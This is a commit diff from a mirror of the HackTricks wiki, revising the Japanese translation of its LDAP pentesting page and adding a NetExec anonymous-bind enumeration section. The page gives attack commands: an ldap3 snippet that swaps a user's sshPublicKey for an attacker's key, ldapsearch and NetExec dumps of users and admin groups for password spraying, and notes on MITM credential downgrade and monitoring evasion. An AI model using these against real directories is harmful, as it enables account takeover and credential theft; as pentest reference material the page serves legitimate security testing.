mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['', 'src/windows-hardening/active-directory-methodology/pass
This commit is contained in:
parent
7a85084663
commit
57fd731946
@ -2,21 +2,21 @@
|
|||||||
|
|
||||||
{{#include ../banners/hacktricks-training.md}}
|
{{#include ../banners/hacktricks-training.md}}
|
||||||
|
|
||||||
**LDAP**(軽量ディレクトリアクセスプロトコル)の使用は、主に組織、個人、ファイルやデバイスなどのリソースをネットワーク内で見つけるためのものであり、公共およびプライベートの両方のネットワークで利用されます。これは、前のプロトコルであるDAPに比べて、より小さなコードフットプリントを持つことで、効率的なアプローチを提供します。
|
**LDAP**(Lightweight Directory Access Protocol)の用途は主に、公的・私的を問わずネットワーク内で組織、個人、ファイルやデバイスのようなリソースといったさまざまなエンティティを検索することです。前身のDAPに比べてコードフットプリントが小さく、より軽量なアプローチを提供します。
|
||||||
|
|
||||||
LDAPディレクトリは、複数のサーバーに分散できるように構造化されており、各サーバーはディレクトリの**複製された**および**同期された**バージョンを保持しており、これをディレクトリシステムエージェント(DSA)と呼びます。リクエストの処理は完全にLDAPサーバーの責任であり、必要に応じて他のDSAと通信して、リクエスターに統一された応答を提供します。
|
LDAPディレクトリは複数のサーバーに分散して配置できるよう構成されており、各サーバーはディレクトリの**複製**かつ**同期された**バージョンを保持します。これはディレクトリシステムエージェント (DSA) と呼ばれます。リクエスト処理の責任はLDAPサーバーに完全にあり、必要に応じて他のDSAと通信して要求元に統一された応答を返します。
|
||||||
|
|
||||||
LDAPディレクトリの組織は、**ルートディレクトリが最上部にあるツリー階層**に似ています。これは国に分岐し、さらに組織に分かれ、次にさまざまな部門や部局を表す組織単位に至り、最終的には人々やファイル、プリンターなどの共有リソースを含む個々のエンティティのレベルに達します。
|
LDAPディレクトリの構成は、最上部のルートディレクトリから始まる**ツリー階層(tree hierarchy)**に似ています。そこから国へ枝分かれし、さらに組織へ、次に部門や部署を表すorganizational units(組織単位)へと分かれ、最終的に人やファイル、プリンタのような共有リソースを含む個々のエンティティのレベルに到達します。
|
||||||
|
|
||||||
**デフォルトポート:** 389および636(ldaps)。グローバルカタログ(ActiveDirectoryのLDAP)は、ポート3268および3269でLDAPS用にデフォルトで利用可能です。
|
**Default port:** 389 と 636 (ldaps)。Global Catalog (LDAP in ActiveDirectory) はデフォルトでポート 3268、LDAPS では 3269 で利用可能です。
|
||||||
```
|
```
|
||||||
PORT STATE SERVICE REASON
|
PORT STATE SERVICE REASON
|
||||||
389/tcp open ldap syn-ack
|
389/tcp open ldap syn-ack
|
||||||
636/tcp open tcpwrapped
|
636/tcp open tcpwrapped
|
||||||
```
|
```
|
||||||
### LDAPデータインターチェンジフォーマット
|
### LDAP Data Interchange Format
|
||||||
|
|
||||||
LDIF (LDAP Data Interchange Format) は、ディレクトリの内容を一連のレコードとして定義します。また、更新リクエスト(追加、変更、削除、名前変更)を表すこともできます。
|
LDIF (LDAP Data Interchange Format) はディレクトリの内容を一連のレコードとして定義します。さらに、更新リクエスト(Add, Modify, Delete, Rename)を表現することもできます。
|
||||||
```bash
|
```bash
|
||||||
dn: dc=local
|
dn: dc=local
|
||||||
dc: local
|
dc: local
|
||||||
@ -45,14 +45,14 @@ ou:
|
|||||||
mail: pepe@hacktricks.xyz
|
mail: pepe@hacktricks.xyz
|
||||||
phone: 23627387495
|
phone: 23627387495
|
||||||
```
|
```
|
||||||
- 行1-3はトップレベルドメインlocalを定義します
|
- 行 1-3 はトップレベルドメイン local を定義しています
|
||||||
- 行5-8はファーストレベルドメインmoneycorp (moneycorp.local)を定義します
|
- 行 5-8 は第一レベルドメイン moneycorp (moneycorp.local) を定義しています
|
||||||
- 行10-16は2つの組織単位:devとsalesを定義します
|
- 行 10-16 は2つの組織単位 (organizational units): dev と sales を定義しています
|
||||||
- 行18-26はドメインのオブジェクトを作成し、属性に値を割り当てます
|
- 行 18-26 はドメインのオブジェクトを作成し、属性に値を割り当てています
|
||||||
|
|
||||||
## データの書き込み
|
## データの書き込み
|
||||||
|
|
||||||
値を変更できる場合、非常に興味深いアクションを実行できる可能性があります。例えば、あなたが**ユーザーまたは任意のユーザーの"sshPublicKey"情報を変更できる**と想像してみてください。この属性が存在する場合、**sshはLDAPから公開鍵を読み込んでいる可能性が高いです**。ユーザーの公開鍵を変更できれば、**sshでパスワード認証が有効でなくても、そのユーザーとしてログインできるようになります**。
|
値を変更できる場合、非常に興味深い操作が可能になる点に注意してください。例えば、自分または任意のユーザーの **"sshPublicKey" 情報を変更できる** と想像してみてください。もしこの属性が存在するなら、**ssh が LDAP から公開鍵を読み取っている** 可能性が高いです。ユーザーの公開鍵を変更できれば、**たとえ ssh でパスワード認証が有効になっていなくても、そのユーザーとしてログインできるようになります。**
|
||||||
```bash
|
```bash
|
||||||
# Example from https://www.n00py.io/2020/02/exploiting-ldap-server-null-bind/
|
# Example from https://www.n00py.io/2020/02/exploiting-ldap-server-null-bind/
|
||||||
>>> import ldap3
|
>>> import ldap3
|
||||||
@ -64,43 +64,68 @@ True
|
|||||||
u'dn:uid=USER,ou=USERS,dc=DOMAIN,dc=DOMAIN'
|
u'dn:uid=USER,ou=USERS,dc=DOMAIN,dc=DOMAIN'
|
||||||
>>> connection.modify('uid=USER,ou=USERS,dc=DOMAINM=,dc=DOMAIN',{'sshPublicKey': [(ldap3.MODIFY_REPLACE, ['ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDHRMu2et/B5bUyHkSANn2um9/qtmgUTEYmV9cyK1buvrS+K2gEKiZF5pQGjXrT71aNi5VxQS7f+s3uCPzwUzlI2rJWFncueM1AJYaC00senG61PoOjpqlz/EUYUfj6EUVkkfGB3AUL8z9zd2Nnv1kKDBsVz91o/P2GQGaBX9PwlSTiR8OGLHkp2Gqq468QiYZ5txrHf/l356r3dy/oNgZs7OWMTx2Rr5ARoeW5fwgleGPy6CqDN8qxIWntqiL1Oo4ulbts8OxIU9cVsqDsJzPMVPlRgDQesnpdt4cErnZ+Ut5ArMjYXR2igRHLK7atZH/qE717oXoiII3UIvFln2Ivvd8BRCvgpo+98PwN8wwxqV7AWo0hrE6dqRI7NC4yYRMvf7H8MuZQD5yPh2cZIEwhpk7NaHW0YAmR/WpRl4LbT+o884MpvFxIdkN1y1z+35haavzF/TnQ5N898RcKwll7mrvkbnGrknn+IT/v3US19fPJWzl1/pTqmAnkPThJW/k= badguy@evil'])]})
|
>>> connection.modify('uid=USER,ou=USERS,dc=DOMAINM=,dc=DOMAIN',{'sshPublicKey': [(ldap3.MODIFY_REPLACE, ['ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDHRMu2et/B5bUyHkSANn2um9/qtmgUTEYmV9cyK1buvrS+K2gEKiZF5pQGjXrT71aNi5VxQS7f+s3uCPzwUzlI2rJWFncueM1AJYaC00senG61PoOjpqlz/EUYUfj6EUVkkfGB3AUL8z9zd2Nnv1kKDBsVz91o/P2GQGaBX9PwlSTiR8OGLHkp2Gqq468QiYZ5txrHf/l356r3dy/oNgZs7OWMTx2Rr5ARoeW5fwgleGPy6CqDN8qxIWntqiL1Oo4ulbts8OxIU9cVsqDsJzPMVPlRgDQesnpdt4cErnZ+Ut5ArMjYXR2igRHLK7atZH/qE717oXoiII3UIvFln2Ivvd8BRCvgpo+98PwN8wwxqV7AWo0hrE6dqRI7NC4yYRMvf7H8MuZQD5yPh2cZIEwhpk7NaHW0YAmR/WpRl4LbT+o884MpvFxIdkN1y1z+35haavzF/TnQ5N898RcKwll7mrvkbnGrknn+IT/v3US19fPJWzl1/pTqmAnkPThJW/k= badguy@evil'])]})
|
||||||
```
|
```
|
||||||
## クレデンシャルの平文スニッフィング
|
## Sniff clear text credentials
|
||||||
|
|
||||||
LDAPがSSLなしで使用されている場合、ネットワーク内で**平文のクレデンシャルをスニッフィング**することができます。
|
LDAPがSSLなしで使用されている場合、ネットワーク上で**sniff credentials in plain text**することができます。
|
||||||
|
|
||||||
また、**LDAPサーバーとクライアントの間**で**MITM**攻撃を実行することもできます。ここで、クライアントが**平文のクレデンシャル**を使用してログインするように**ダウングレード攻撃**を行うことができます。
|
また、ネットワーク内で**MITM**攻撃を実行することができます(**between the LDAP server and the client.**)。ここで**Downgrade Attack**を仕掛けると、クライアントが**credentials in clear text**を使用してログインするようになります。
|
||||||
|
|
||||||
**SSLが使用されている場合**、上記のように**MITM**を試みることができますが、**偽の証明書**を提供することで、**ユーザーがそれを受け入れた場合**、認証方法をダウングレードして再びクレデンシャルを見ることができます。
|
**If SSL is used**の場合、上記と同様の**MITM**を試み、**false certificate**を提示することができます。もし**user accepts it**した場合、認証方式をDowngradeして再度credentialsを取得できます。
|
||||||
|
|
||||||
## 匿名アクセス
|
## Anonymous Access
|
||||||
|
|
||||||
### TLS SNIチェックのバイパス
|
### Bypass TLS SNI check
|
||||||
|
|
||||||
[**この書き込み**](https://swarm.ptsecurity.com/exploiting-arbitrary-object-instantiations/)によると、任意のドメイン名(例えばcompany.com)でLDAPサーバーにアクセスするだけで、匿名ユーザーとしてLDAPサービスに接触し、情報を抽出することができました。
|
According to [**this writeup**](https://swarm.ptsecurity.com/exploiting-arbitrary-object-instantiations/) just by accessing the LDAP server with an arbitrary domain name (like company.com) he was able to contact the LDAP service and extract information as an anonymous user:
|
||||||
```bash
|
```bash
|
||||||
ldapsearch -H ldaps://company.com:636/ -x -s base -b '' "(objectClass=*)" "*" +
|
ldapsearch -H ldaps://company.com:636/ -x -s base -b '' "(objectClass=*)" "*" +
|
||||||
```
|
```
|
||||||
### LDAP 匿名バインド
|
### LDAP anonymous binds
|
||||||
|
|
||||||
[LDAP 匿名バインド](https://docs.microsoft.com/en-us/troubleshoot/windows-server/identity/anonymous-ldap-operations-active-directory-disabled) は、**認証されていない攻撃者**がドメインから情報を取得することを可能にします。例えば、ユーザー、グループ、コンピュータ、ユーザーアカウント属性、ドメインパスワードポリシーの完全なリストなどです。これは**レガシー構成**であり、Windows Server 2003以降、認証されたユーザーのみがLDAPリクエストを開始することが許可されています。\
|
[LDAP anonymous binds](https://docs.microsoft.com/en-us/troubleshoot/windows-server/identity/anonymous-ldap-operations-active-directory-disabled) は、ドメインからユーザ、グループ、コンピュータ、ユーザーアカウント属性、ドメインのパスワードポリシーなどの情報を **認証されていない攻撃者** が取得できるようにします。これは **レガシーな構成** であり、Windows Server 2003 以降、LDAP リクエストを開始できるのは認証済みユーザーのみとなっています。\
|
||||||
しかし、管理者は**特定のアプリケーションを設定して匿名バインドを許可する必要があった**かもしれず、その結果、意図した以上のアクセス権を与え、認証されていないユーザーにAD内のすべてのオブジェクトへのアクセスを許可してしまった可能性があります。
|
しかし、管理者が **set up a particular application to allow anonymous binds** 必要があり、本来より多くのアクセス権を付与してしまい、その結果として認証されていないユーザーが AD 内のすべてのオブジェクトにアクセスできるようになっていることがあります。
|
||||||
|
|
||||||
|
### Anonymous LDAP enumeration with NetExec (null bind)
|
||||||
|
|
||||||
|
If null/anonymous bind is allowed, you can pull users, groups, and attributes directly via NetExec’s LDAP module without creds. 有用なフィルタ:
|
||||||
|
- (objectClass=*) — ベースDN配下のオブジェクトを列挙するため
|
||||||
|
- (sAMAccountName=*) — ユーザープリンシパルを収集するため
|
||||||
|
|
||||||
|
例:
|
||||||
|
```bash
|
||||||
|
# Enumerate objects from the root DSE (base DN autodetected)
|
||||||
|
netexec ldap <DC_FQDN> -u '' -p '' --query "(objectClass=*)" ""
|
||||||
|
|
||||||
|
# Dump users with key attributes for spraying and targeting
|
||||||
|
netexec ldap <DC_FQDN> -u '' -p '' --query "(sAMAccountName=*)" ""
|
||||||
|
|
||||||
|
# Extract just the sAMAccountName field into a list
|
||||||
|
netexec ldap <DC_FQDN> -u '' -p '' --query "(sAMAccountName=*)" "" \
|
||||||
|
| awk -F': ' '/sAMAccountName:/ {print $2}' | sort -u > users.txt
|
||||||
|
```
|
||||||
|
何を確認するか:
|
||||||
|
- sAMAccountName, userPrincipalName
|
||||||
|
- memberOf と OU の配置(targeted sprays を絞るため)
|
||||||
|
- pwdLastSet(時間的パターン)、userAccountControl フラグ(disabled、smartcard required、etc.)
|
||||||
|
|
||||||
|
Note: anonymous bind が許可されていない場合、通常は bind が必要であることを示す Operations error が表示されます。
|
||||||
|
|
||||||
## 有効な資格情報
|
## 有効な資格情報
|
||||||
|
|
||||||
LDAPサーバーにログインするための有効な資格情報がある場合、次のコマンドを使用してドメイン管理者に関するすべての情報をダンプできます。
|
LDAP server にログイン可能な有効な資格情報がある場合、Domain Admin に関するすべての情報を次のツールでダンプできます:
|
||||||
|
|
||||||
[ldapdomaindump](https://github.com/dirkjanm/ldapdomaindump)
|
[ldapdomaindump](https://github.com/dirkjanm/ldapdomaindump)
|
||||||
```bash
|
```bash
|
||||||
pip3 install ldapdomaindump
|
pip3 install ldapdomaindump
|
||||||
ldapdomaindump <IP> [-r <IP>] -u '<domain>\<username>' -p '<password>' [--authtype SIMPLE] --no-json --no-grep [-o /path/dir]
|
ldapdomaindump <IP> [-r <IP>] -u '<domain>\<username>' -p '<password>' [--authtype SIMPLE] --no-json --no-grep [-o /path/dir]
|
||||||
```
|
```
|
||||||
### [ブルートフォース](../generic-hacking/brute-force.md#ldap)
|
### [Brute Force](../generic-hacking/brute-force.md#ldap)
|
||||||
|
|
||||||
## 列挙
|
## Enumeration
|
||||||
|
|
||||||
### 自動化
|
### 自動化
|
||||||
|
|
||||||
これを使用すると、**公開情報**(ドメイン名など)を確認できます**:**
|
これを使用すると、**公開情報**(ドメイン名など)を見ることができます**:**
|
||||||
```bash
|
```bash
|
||||||
nmap -n -sV --script "ldap* and not brute" <IP> #Using anonymous credentials
|
nmap -n -sV --script "ldap* and not brute" <IP> #Using anonymous credentials
|
||||||
```
|
```
|
||||||
@ -108,11 +133,11 @@ nmap -n -sV --script "ldap* and not brute" <IP> #Using anonymous credentials
|
|||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary>See LDAP enumeration with python</summary>
|
<summary>pythonでLDAP enumerationを見る</summary>
|
||||||
|
|
||||||
**認証情報なしでLDAPを列挙する**か**認証情報を使用してLDAPを列挙する**ことをpythonを使って試すことができます: `pip3 install ldap3`
|
python を使って **enumerate a LDAP with or without credentials** してみることができます: `pip3 install ldap3`
|
||||||
|
|
||||||
まず**認証情報なしで接続**してみてください:
|
まずは **connect without** credentials:
|
||||||
```bash
|
```bash
|
||||||
>>> import ldap3
|
>>> import ldap3
|
||||||
>>> server = ldap3.Server('x.X.x.X', get_info = ldap3.ALL, port =636, use_ssl = True)
|
>>> server = ldap3.Server('x.X.x.X', get_info = ldap3.ALL, port =636, use_ssl = True)
|
||||||
@ -121,7 +146,7 @@ nmap -n -sV --script "ldap* and not brute" <IP> #Using anonymous credentials
|
|||||||
True
|
True
|
||||||
>>> server.info
|
>>> server.info
|
||||||
```
|
```
|
||||||
もし応答が前の例のように`True`であれば、LDAPからいくつかの**興味深いデータ**(**命名コンテキスト**や**ドメイン名**など)を取得できます。
|
前の例のようにレスポンスが `True` の場合、LDAP サーバーから**interesting data**(**naming context** や **domain name**)を取得できます:
|
||||||
```bash
|
```bash
|
||||||
>>> server.info
|
>>> server.info
|
||||||
DSA info (from DSE):
|
DSA info (from DSE):
|
||||||
@ -129,13 +154,13 @@ Supported LDAP versions: 3
|
|||||||
Naming contexts:
|
Naming contexts:
|
||||||
dc=DOMAIN,dc=DOMAIN
|
dc=DOMAIN,dc=DOMAIN
|
||||||
```
|
```
|
||||||
一度命名コンテキストを取得すると、さらに興味深いクエリを実行できます。この単純なクエリは、ディレクトリ内のすべてのオブジェクトを表示するはずです:
|
naming context を取得すれば、さらに興味深いクエリを実行できます。この簡単なクエリはディレクトリ内のすべてのオブジェクトを表示するはずです:
|
||||||
```bash
|
```bash
|
||||||
>>> connection.search(search_base='DC=DOMAIN,DC=DOMAIN', search_filter='(&(objectClass=*))', search_scope='SUBTREE', attributes='*')
|
>>> connection.search(search_base='DC=DOMAIN,DC=DOMAIN', search_filter='(&(objectClass=*))', search_scope='SUBTREE', attributes='*')
|
||||||
True
|
True
|
||||||
>> connection.entries
|
>> connection.entries
|
||||||
```
|
```
|
||||||
または**ダンプ**全体のldap:
|
または ldap 全体を **dump** する:
|
||||||
```bash
|
```bash
|
||||||
>> connection.search(search_base='DC=DOMAIN,DC=DOMAIN', search_filter='(&(objectClass=person))', search_scope='SUBTREE', attributes='userPassword')
|
>> connection.search(search_base='DC=DOMAIN,DC=DOMAIN', search_filter='(&(objectClass=person))', search_scope='SUBTREE', attributes='userPassword')
|
||||||
True
|
True
|
||||||
@ -145,7 +170,7 @@ True
|
|||||||
|
|
||||||
### windapsearch
|
### windapsearch
|
||||||
|
|
||||||
[**Windapsearch**](https://github.com/ropnop/windapsearch) は、LDAP クエリを利用して **Windows ドメインからユーザー、グループ、およびコンピュータを列挙する** のに役立つ Python スクリプトです。
|
[**Windapsearch**](https://github.com/ropnop/windapsearch) は LDAP クエリを利用して **Windows ドメインからユーザー、グループ、コンピュータを列挙する** のに便利な Python スクリプトです。
|
||||||
```bash
|
```bash
|
||||||
# Get computers
|
# Get computers
|
||||||
python3 windapsearch.py --dc-ip 10.10.10.10 -u john@domain.local -p password --computers
|
python3 windapsearch.py --dc-ip 10.10.10.10 -u john@domain.local -p password --computers
|
||||||
@ -160,7 +185,7 @@ python3 windapsearch.py --dc-ip 10.10.10.10 -u john@domain.local -p password --p
|
|||||||
```
|
```
|
||||||
### ldapsearch
|
### ldapsearch
|
||||||
|
|
||||||
無効な資格情報を確認するか、資格情報が有効かどうかを確認します:
|
null クレデンシャル、またはクレデンシャルが有効か確認する:
|
||||||
```bash
|
```bash
|
||||||
ldapsearch -x -H ldap://<IP> -D '' -w '' -b "DC=<1_SUBDOMAIN>,DC=<TLD>"
|
ldapsearch -x -H ldap://<IP> -D '' -w '' -b "DC=<1_SUBDOMAIN>,DC=<TLD>"
|
||||||
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "DC=<1_SUBDOMAIN>,DC=<TLD>"
|
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "DC=<1_SUBDOMAIN>,DC=<TLD>"
|
||||||
@ -173,9 +198,9 @@ result: 1 Operations error
|
|||||||
text: 000004DC: LdapErr: DSID-0C090A4C, comment: In order to perform this opera
|
text: 000004DC: LdapErr: DSID-0C090A4C, comment: In order to perform this opera
|
||||||
tion a successful bind must be completed on the connection., data 0, v3839
|
tion a successful bind must be completed on the connection., data 0, v3839
|
||||||
```
|
```
|
||||||
"_bind must be completed_" というメッセージが表示される場合、認証情報が正しくないことを意味します。
|
「_bind must be completed_」という表示が出た場合、それは認証情報が正しくないことを意味します。
|
||||||
|
|
||||||
次のコマンドを使用して、**ドメインからすべてを抽出**できます:
|
ドメインから**すべてを抽出**するには、次を使用できます:
|
||||||
```bash
|
```bash
|
||||||
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "DC=<1_SUBDOMAIN>,DC=<TLD>"
|
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "DC=<1_SUBDOMAIN>,DC=<TLD>"
|
||||||
-x Simple Authentication
|
-x Simple Authentication
|
||||||
@ -184,49 +209,49 @@ ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "DC=<1_
|
|||||||
-w My password
|
-w My password
|
||||||
-b Base site, all data from here will be given
|
-b Base site, all data from here will be given
|
||||||
```
|
```
|
||||||
**ユーザー**:
|
**users** を抽出:
|
||||||
```bash
|
```bash
|
||||||
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Users,DC=<1_SUBDOMAIN>,DC=<TLD>"
|
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Users,DC=<1_SUBDOMAIN>,DC=<TLD>"
|
||||||
#Example: ldapsearch -x -H ldap://<IP> -D 'MYDOM\john' -w 'johnpassw' -b "CN=Users,DC=mydom,DC=local"
|
#Example: ldapsearch -x -H ldap://<IP> -D 'MYDOM\john' -w 'johnpassw' -b "CN=Users,DC=mydom,DC=local"
|
||||||
```
|
```
|
||||||
**コンピュータ**
|
抽出 **コンピュータ**:
|
||||||
```bash
|
```bash
|
||||||
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Computers,DC=<1_SUBDOMAIN>,DC=<TLD>"
|
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Computers,DC=<1_SUBDOMAIN>,DC=<TLD>"
|
||||||
```
|
```
|
||||||
**私の情報**
|
抽出 **私の情報**:
|
||||||
```bash
|
```bash
|
||||||
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=<MY NAME>,CN=Users,DC=<1_SUBDOMAIN>,DC=<TLD>"
|
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=<MY NAME>,CN=Users,DC=<1_SUBDOMAIN>,DC=<TLD>"
|
||||||
```
|
```
|
||||||
**ドメイン管理者**:
|
抽出 **Domain Admins**:
|
||||||
```bash
|
```bash
|
||||||
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Domain Admins,CN=Users,DC=<1_SUBDOMAIN>,DC=<TLD>"
|
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Domain Admins,CN=Users,DC=<1_SUBDOMAIN>,DC=<TLD>"
|
||||||
```
|
```
|
||||||
**ドメインユーザー**:
|
抽出 **Domain Users**:
|
||||||
```bash
|
```bash
|
||||||
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Domain Users,CN=Users,DC=<1_SUBDOMAIN>,DC=<TLD>"
|
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Domain Users,CN=Users,DC=<1_SUBDOMAIN>,DC=<TLD>"
|
||||||
```
|
```
|
||||||
**エンタープライズ管理者**:
|
抽出 **Enterprise Admins**:
|
||||||
```bash
|
```bash
|
||||||
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Enterprise Admins,CN=Users,DC=<1_SUBDOMAIN>,DC=<TLD>"
|
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Enterprise Admins,CN=Users,DC=<1_SUBDOMAIN>,DC=<TLD>"
|
||||||
```
|
```
|
||||||
**管理者**:
|
抽出 **Administrators**:
|
||||||
```bash
|
```bash
|
||||||
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Administrators,CN=Builtin,DC=<1_SUBDOMAIN>,DC=<TLD>"
|
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Administrators,CN=Builtin,DC=<1_SUBDOMAIN>,DC=<TLD>"
|
||||||
```
|
```
|
||||||
**リモートデスクトップグループ**:
|
抽出 **リモート デスクトップ グループ**:
|
||||||
```bash
|
```bash
|
||||||
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Remote Desktop Users,CN=Builtin,DC=<1_SUBDOMAIN>,DC=<TLD>"
|
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Remote Desktop Users,CN=Builtin,DC=<1_SUBDOMAIN>,DC=<TLD>"
|
||||||
```
|
```
|
||||||
パスワードにアクセスできるかどうかを確認するには、クエリの1つを実行した後にgrepを使用できます:
|
passwordにアクセスできるか確認するには、いずれかのクエリを実行した後にgrepを使用できます:
|
||||||
```bash
|
```bash
|
||||||
<ldapsearchcmd...> | grep -i -A2 -B2 "userpas"
|
<ldapsearchcmd...> | grep -i -A2 -B2 "userpas"
|
||||||
```
|
```
|
||||||
注意してください、ここに見つかるパスワードは本物ではない可能性があります...
|
Please, notice that the passwords that you can find here could not be the real ones...
|
||||||
|
|
||||||
#### pbis
|
#### pbis
|
||||||
|
|
||||||
**pbis**はここからダウンロードできます: [https://github.com/BeyondTrust/pbis-open/](https://github.com/BeyondTrust/pbis-open/) そして通常は`/opt/pbis`にインストールされます。\
|
ここから **pbis** をダウンロードできます: [https://github.com/BeyondTrust/pbis-open/](https://github.com/BeyondTrust/pbis-open/)。通常は `/opt/pbis` にインストールされます。\
|
||||||
**Pbis**を使用すると、基本情報を簡単に取得できます:
|
**Pbis** は基本情報を簡単に取得できます:
|
||||||
```bash
|
```bash
|
||||||
#Read keytab file
|
#Read keytab file
|
||||||
./klist -k /etc/krb5.keytab
|
./klist -k /etc/krb5.keytab
|
||||||
@ -255,13 +280,13 @@ ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Rem
|
|||||||
./list-groups-for-user <username>
|
./list-groups-for-user <username>
|
||||||
./lsa list-groups-for-user <username>
|
./lsa list-groups-for-user <username>
|
||||||
#Get groups of each user
|
#Get groups of each user
|
||||||
./enum-users | grep "Name:" | sed -e "s,\\\,\\\\\\\,g" | awk '{print $2}' | while read name; do ./list-groups-for-user "$name"; echo -e "========================\n"; done
|
./enum-users | grep "Name:" | sed -e "s,\\,\\\\\\,g" | awk '{print $2}' | while read name; do ./list-groups-for-user "$name"; echo -e "========================\n"; done
|
||||||
|
|
||||||
#Get users of a group
|
#Get users of a group
|
||||||
./enum-members --by-name "domain admins"
|
./enum-members --by-name "domain admins"
|
||||||
./lsa enum-members --by-name "domain admins"
|
./lsa enum-members --by-name "domain admins"
|
||||||
#Get users of each group
|
#Get users of each group
|
||||||
./enum-groups | grep "Name:" | sed -e "s,\\\,\\\\\\\,g" | awk '{print $2}' | while read name; do echo "$name"; ./enum-members --by-name "$name"; echo -e "========================\n"; done
|
./enum-groups | grep "Name:" | sed -e "s,\\,\\\\\\,g" | awk '{print $2}' | while read name; do echo "$name"; ./enum-members --by-name "$name"; echo -e "========================\n"; done
|
||||||
|
|
||||||
#Get description of each user
|
#Get description of each user
|
||||||
./adtool -a search-user --name CN="*" --keytab=/etc/krb5.keytab -n <Username> | grep "CN" | while read line; do
|
./adtool -a search-user --name CN="*" --keytab=/etc/krb5.keytab -n <Username> | grep "CN" | while read line; do
|
||||||
@ -274,43 +299,43 @@ done
|
|||||||
|
|
||||||
### Apache Directory
|
### Apache Directory
|
||||||
|
|
||||||
[**ここからApache Directoryをダウンロード**](https://directory.apache.org/studio/download/download-linux.html)。このツールの使用例は[こちら](https://www.youtube.com/watch?v=VofMBg2VLnw&t=3840s)で見つけることができます。
|
[**Download Apache Directory from here**](https://directory.apache.org/studio/download/download-linux.html). このツールの使用例は次のリンクで確認できます: [example of how to use this tool here](https://www.youtube.com/watch?v=VofMBg2VLnw&t=3840s).
|
||||||
|
|
||||||
### jxplorer
|
### jxplorer
|
||||||
|
|
||||||
LDAPサーバー用のグラフィカルインターフェースをここからダウンロードできます: [http://www.jxplorer.org/downloads/users.html](http://www.jxplorer.org/downloads/users.html)
|
LDAPサーバー付きのグラフィカルインターフェースはここからダウンロードできます: [http://www.jxplorer.org/downloads/users.html](http://www.jxplorer.org/downloads/users.html)
|
||||||
|
|
||||||
デフォルトでは、_ /opt/jxplorer _にインストールされます。
|
デフォルトでは次の場所にインストールされます: _/opt/jxplorer_
|
||||||
|
|
||||||
.png>)
|
.png>)
|
||||||
|
|
||||||
### Godap
|
### Godap
|
||||||
|
|
||||||
Godapは、ADや他のLDAPサーバーのオブジェクトや属性と対話するために使用できるインタラクティブなターミナルユーザーインターフェースです。Windows、Linux、MacOSで利用可能で、シンプルバインド、パス・ザ・ハッシュ、パス・ザ・チケット、パス・ザ・証明書をサポートし、オブジェクトの検索/作成/変更/削除、グループからのユーザーの追加/削除、パスワードの変更、オブジェクトの権限(DACL)の編集、Active-Directory統合DNS(ADIDNS)の変更、JSONファイルへのエクスポートなど、いくつかの特別な機能を実装しています。
|
GodapはLDAP用の対話型ターミナルユーザーインターフェースで、ADや他のLDAPサーバーのオブジェクトや属性を操作するために使用できます。Windows、Linux、MacOSで利用可能で、simple binds、pass-the-hash、pass-the-ticket & pass-the-certなどをサポートします。また、オブジェクトの検索/作成/変更/削除、グループへのユーザーの追加・削除、パスワード変更、オブジェクト権限の編集(DACLs)、Active-Directory Integrated DNS (ADIDNS) の変更、JSONファイルへのエクスポートなど、いくつかの専門的な機能を備えています。
|
||||||
|
|
||||||

|

|
||||||
|
|
||||||
[https://github.com/Macmod/godap](https://github.com/Macmod/godap)でアクセスできます。使用例と指示については[Wiki](https://github.com/Macmod/godap/wiki)を読んでください。
|
You can access it in [https://github.com/Macmod/godap](https://github.com/Macmod/godap). For usage examples and instructions read the [Wiki](https://github.com/Macmod/godap/wiki).
|
||||||
|
|
||||||
### Ldapx
|
### Ldapx
|
||||||
|
|
||||||
Ldapxは、他のツールからのLDAPトラフィックを検査および変換するために使用できる柔軟なLDAPプロキシです。LDAPトラフィックを難読化して、アイデンティティ保護およびLDAP監視ツールを回避する試みを行うことができ、[MaLDAPtive](https://www.youtube.com/watch?v=mKRS5Iyy7Qo)トークで提示されたほとんどの方法を実装しています。
|
Ldapxは柔軟なLDAPプロキシで、他のツールからのLDAPトラフィックを検査・変換するために使用できます。LDAPトラフィックを難読化してidentity protectionやLDAP monitoring toolsの回避を試みるために使用でき、[MaLDAPtive](https://www.youtube.com/watch?v=mKRS5Iyy7Qo)の講演で提示されたほとんどの手法を実装しています。
|
||||||
|
|
||||||

|

|
||||||
|
|
||||||
